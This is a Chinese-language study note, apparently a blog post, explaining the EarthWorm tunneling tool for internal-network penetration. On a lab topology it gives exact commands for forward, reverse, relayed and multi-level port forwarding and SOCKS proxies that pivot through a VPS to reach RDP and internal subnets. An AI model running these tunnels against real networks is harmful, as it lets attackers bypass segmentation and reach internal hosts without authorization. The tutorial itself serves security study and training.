最近在复习内网的知识。在看原书的域信息收集及内网隧道部分时,发现原书写的内容那叫一个随心所欲,毫无逻辑可言。EarthWorm(EW)工具也是,啥啥不介绍,只会用一堆车轱辘话去描述实现的效果。麻了。所以,这里简单整理一版 EW 工具的使用方法。
一、参数与模式
EarthWorm(EW)工具的常用参数及模式一定要先读懂是在干嘛。
常用参数(重要):
-s 模式
-l 本地监听端口
-d 连接到的远程 IP
-e 连接到的远程端口/等待反连端口
-f 最终目标 IP
-g 最终目标端口
常用模式(重要):
lcx_tran 本地端口转发
lcx_listen 反向端口转发监听端
lcx_slave 反向端口转发连接端
ssocksd 正向 SOCKS5
rcsocks 反向 SOCKS 接收端
rssocks 反向 SOCKS 连接端
二、常规网络架构

VPS:1.1.1.1
主机 A1:100.0.0.1 DMZ区(可双向互联网访问)
主机 A2:100.0.0.2 DMZ区(互联网不可直接访问,但可主动访问互联网)
主机 B:10.0.10.1 内网区
主机 C:10.0.20.1 核心区
(1)互联网可完全访问 A1,互联网不可直接访问 A2,A2 可主动访问互联网
(2)A1 可以完全访问 A2,A1 不能直接访问 B
(3)A2 可以完全访问 B,A2 不能直接访问 C
(4)B 可以完全访问 C
(1)A1:公网可达跳板,用来讲正向能力
(2)A2:公网不可达但可出网跳板,用来讲反向能力
(3)B:内网一级跳板,用来讲中继
(4)C:更深层目标区,用来讲跨网段访问
(1)本地端口映射
A1 -> A2
(2)正向 SOCKS
客户端 -> A1 -> A1 可达范围
(3)反向端口映射
客户端 -> VPS -> A2 -> B:单个服务
(4)反向 SOCKS
客户端 -> VPS -> A2 -> B 所在内网区
(5)中继端口映射
客户端 -> VPS -> A2 -> B -> C:单个服务
(6)中继 SOCKS
客户端 -> VPS -> A2 -> B -> C 所在核心区
1、本地端口映射
场景:互联网无法直接访问主机 A2,但主机 A1 可以访问 A2:3389。在主机 A1 上,把本地的 13389 转发到 A2 的 3389。
主机 A1 执行:
./ew -s lcx_tran -l 13389 -f 100.0.0.2 -g 3389
连接:mstsc /v:127.0.0.1:13389
链路:127.0.0.1:13389 -> 100.0.0.2:3389
说明:该选项主要用于本地程序只能连 127.0.0.1、端口统一映射、或链路测试。A1 本机可以通过 127.0.0.1:13389 访问 A2:3389。
说明:如果 A1 的 13389 端口对其他机器可达,则其他机器也可以通过 100.0.0.1:13389 访问 A2:3389。如果不可达,则可采用反向端口转发的方式(更常见)达到访问需求。
连接:mstsc /v:100.0.0.1:13389
链路:100.0.0.1:13389 -> 100.0.0.2:3389
2、正向 SOCKS 代理
场景:互联网可以直接访问主机 A1,想让 A1 开 SOCKS5 代理服务。
主机 A1 执行:
./ew -s ssocksd -l 1080
连接:SOCKS5:100.0.0.1:1080
链路:客户端 -> A1:1080(SOCKS5) -> A1 网络可达范围内的资源。
说明:正向 SOCKS 的入口和出口都在 A1。在当前拓扑中,A1 可以访问 A2,但 A1 不能访问 B。因此该代理主要用于访问 A1 可达范围内的资源,例如 A2。
3、反向端口映射
场景:互联网无法直接访问内网区主机 B:3389,但主机 A2 可以访问 B:3389,且 A2 可以主动连接 VPS。
目标:通过 VPS:13389,使用 A2 作为中继节点,访问 B:3389 这类单个服务。
VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888
主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 3389
连接:mstsc /v:1.1.1.1:13389
链路:客户端 -> 1.1.1.1:13389 -> A2 -> 10.0.10.1:3389。
说明:反向端口映射,适合访问一个明确的目标服务。这里 A2 是反连 VPS 的中继节点,真正访问 B:3389 的也是 A2。
4、反向 SOCKS 代理
场景:互联网无法直接访问主机 A2,但主机 A2 可以主动连接 VPS,且 A2 可以访问 B 所在内网区。
目标:通过 VPS:1080,使用 A2 作为 SOCKS5 代理,访问 B 所在内网区。
VPS 执行:
./ew -s rcsocks -l 1080 -e 8888
主机 A2 执行:
./ew -s rssocks -d 1.1.1.1 -e 8888
连接:SOCKS5:1.1.1.1:1080
链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B 所在内网区
说明:反向 SOCKS 代理,适合访问多个服务或其网络可达范围内的多个目标。这里 SOCKS 入口在 VPS,真正访问目标资源的是 A2。在当前拓扑中,A2 可以访问 B 所在内网区,但 A2 不能直接访问核心区主机 C。
5、中继端口映射
场景:A2 不能直接访问 C:3389,但 A2 可以访问 B,B 可以访问 C:3389。
目标:通过 VPS:13389,经由 A2 -> B,访问 C:3389。
主机 B 执行:
./ew -s lcx_tran -l 23389 -f 10.0.20.1 -g 3389
VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888
主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 23389
连接:mstsc /v:1.1.1.1:13389
链路:客户端 -> 1.1.1.1:13389 -> A2 -> B:23389 -> C:3389
说明:B 是中继节点。B 负责把 B:23389 转发到 C:3389;A2 负责把 VPS 的反向链路接到 B:23389。该方式适合访问更深层网络中的单个服务。
6、中继 SOCKS 代理
场景:A2 不能直接访问 C 所在核心区,但 A2 可以访问 B,B 可以访问 C 所在核心区。
目标:通过 VPS:1080,经由 A2 -> B,使用 B 作为 SOCKS5 代理,访问 C 所在核心区。
主机 B 执行:
./ew -s ssocksd -l 9999
VPS 执行:
./ew -s lcx_listen -l 1080 -e 8888
主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 9999
连接:SOCKS5:1.1.1.1:1080
链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B:9999(SOCKS5) -> C 所在核心区
说明:B 是真正访问核心区资源的 SOCKS5 出口。A2 只负责把 VPS 的流量转发到 B 的 SOCKS5 服务。该方式适合访问更深层网络中的多个服务或多个目标。
三、多级网络架构

VPS:1.1.1.1
主机 A1:100.0.0.1 DMZ区(可双向互联网访问)
主机 A2:100.0.0.2 DMZ区(互联网不可直接访问,但可主动访问互联网)
主机 B:10.0.10.1 内网区
主机 C:10.0.20.1 中间区
主机 D:10.0.30.1 核心区
(1)互联网可完全访问 A1,互联网不可直接访问 A2,A2 可主动访问互联网
(2)A1 可以完全访问 A2,A1 不能直接访问 B
(3)A2 可以完全访问 B,A2 不能直接访问 C
(4)B 可以完全访问 C,B 不能直接访问 D
(5)C 可以完全访问 D
(1)A1:公网可达跳板
(2)A2:公网不可达但可出网跳板
(3)B:内网区一级跳板
(4)C:中间区二级跳板
(5)D:核心区目标区域
(1)多级端口映射
客户端 -> VPS -> A2 -> B -> C -> D:单个服务
(2)多级 SOCKS
客户端 -> VPS -> A2 -> B -> C -> D 所在核心区
1、多级端口映射
场景:A2 不能直接访问 D:3389,B 不能直接访问 D:3389,但 A2 可以访问 B,B 可以访问 C,C 可以访问 D:3389。
目标:通过 VPS:13389,经由 A2 -> B -> C,访问 D:3389。
主机 C 执行:
./ew -s lcx_tran -l 33389 -f 10.0.30.1 -g 3389
主机 B 执行:
./ew -s lcx_tran -l 23389 -f 10.0.20.1 -g 33389
VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888
主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 23389
连接:mstsc /v:1.1.1.1:13389
链路:客户端 -> 1.1.1.1:13389 -> A2 -> B:23389 -> C:33389 -> D:3389
说明:C 负责把 C:33389 转发到 D:3389;B 负责把 B:23389 转发到 C:33389;A2 负责把 VPS 的反向链路接到 B:23389。该方式适合访问多级内网中的单个服务。
2、多级 SOCKS 代理
场景:A2 不能直接访问 D 所在核心区,B 不能直接访问 D 所在核心区,但 A2 可以访问 B,B 可以访问 C,C 可以访问 D 所在核心区。
目标:通过 VPS:1080,经由 A2 -> B -> C,使用 C 作为 SOCKS5 代理,访问 D 所在核心区。
主机 C 执行:
./ew -s ssocksd -l 9999
主机 B 执行:
./ew -s lcx_tran -l 7777 -f 10.0.20.1 -g 9999
VPS 执行:
./ew -s lcx_listen -l 1080 -e 8888
主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 7777
连接:SOCKS5:1.1.1.1:1080
链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B:7777 -> C:9999(SOCKS5) -> D 所在核心区
说明:C 是真正访问核心区资源的 SOCKS5 出口。B 负责把 B:7777 转发到 C:9999;A2 只负责把 VPS 的流量转发到 B:7777。该方式适合访问多级内网中的多个服务或多个目标。